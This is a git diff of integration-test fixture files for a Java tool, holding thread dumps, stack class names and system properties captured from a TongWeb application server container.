java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-4" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"JCA-default-thread-pool-worker-9" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-6" #162 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@e4fdb93 +"RMI RenewClean-[172.17.0.4:43229]" #18 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@ca52dfd java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) -"http-nio-8443-exec-8" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-8443-exec-1" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1180,7 +1134,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-2" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-8443-exec-3" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1193,18 +1147,44 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-1" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"WebSocketClient-AsyncIO-2" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-7" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-7" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"DefaultQuartzScheduler_Worker-2" #143 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@23e2e12b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"persistence" #138 daemon [WAITING] on com.tongweb.monitor.persistence.TaskQueue@7780a178 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:429) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + +"JCA-default-thread-pool-worker-8" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1215,15 +1195,47 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio-8443-Acceptor-0" #128 daemon [RUNNABLE] +"main" #1 [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:176) + at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767) + at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:794) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:352) + at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:495) + +"DefaultQuartzScheduler_Worker-7" #148 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@66283ce3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"Thread-38" #153 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66273f08 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-7" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"persistence" #139 daemon [WAITING] on java.util.TaskQueue@24dcf6b9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"ajp-bio-8009-exec-3" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1236,19 +1248,25 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-9" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"DefaultQuartzScheduler_Worker-1" #142 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@27c4bb3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-8443-exec-8" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-8" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"http-nio-0.0.0.0-8080-exec-10" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1261,7 +1279,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-8" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-8443-exec-6" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1274,23 +1292,56 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-2" #158 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4803b3f2 +"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #77 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-4" #145 [RUNNABLE] + java.lang.Thread.State: RUNNABLE at java.lang.Object.wait(Native Method) at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) -"JCA-default-thread-pool-worker-9" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"snapshot" #161 daemon [TIMED_WAITING] on java.util.TaskQueue@133fd1a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"ajp-bio-8009-exec-8" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-ClientPoller-0" #114 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-1" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"NioBlockingSelector.BlockPoller-1" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"ajp-bio-8009-exec-4" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1303,43 +1354,20 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-7" #163 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@13b86d4b - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) - -"Thread-47" #168 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19bbd208 - java.lang.Thread.State: TIMED_WAITING +"ajp-bio-8009-exec-5" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e + java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"RMI TCP Connection(2)-192.168.215.5" #19 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-3" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"WebSocketClient-AsyncIO-3" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1351,26 +1379,42 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-10" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"DefaultQuartzScheduler_Worker-10" #151 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@60c4843e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-0.0.0.0-9060-exec-9" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-8" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"Thread-47" #162 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@734a1725 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread.run(WebWarnUtil.java:167) + +"http-nio-0.0.0.0-9060-exec-8" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) @@ -1380,13 +1424,22 @@ ThreadStacks: StackClassNames: Base64ClassLoaderServlet EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.tongweb.config.ConfigTool +com.tongweb.deploy.TongWebDeployer +com.tongweb.deploy.autodeploy.TongWebAutoDeployTask +com.tongweb.deploy.autodeploy.TongWebAutoDeployer +com.tongweb.deploy.commands.DeployCommand +com.tongweb.deploy.util.DeployConfigUtil com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread com.tongweb.monitor.persistence.TimerThread -com.tongweb.monitor.persistence.util.IoPool$FileWriterThread com.tongweb.netty.channel.nio.NioEventLoop com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2 +com.tongweb.quartz.core.JobRunShell com.tongweb.quartz.core.QuartzSchedulerThread +com.tongweb.quartz.simpl.PropertySettingJobFactory com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread com.tongweb.twnt.thor.OpenEJBValve com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler @@ -1417,4 +1470,4 @@ com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker com.tongweb.web.webutil.util.threads.TaskQueue -org.apache.usbUm.ErrorHandler +org.apache.http.client.spzga.ErrorKewjvHandler diff --git a/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt new file mode 100644 index 00000000..b7674df1 --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt @@ -0,0 +1,1471 @@ +# Generated At 2019-05-31 12:30:26 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +sun.nio.ch.bugLevel: +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/tweb6/lib/endorsed/validation-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +com.tongweb.web.thor.startup.ContextConfig.jarsToSkip: +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_492-b09 +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +user.name: root +shared.loader: 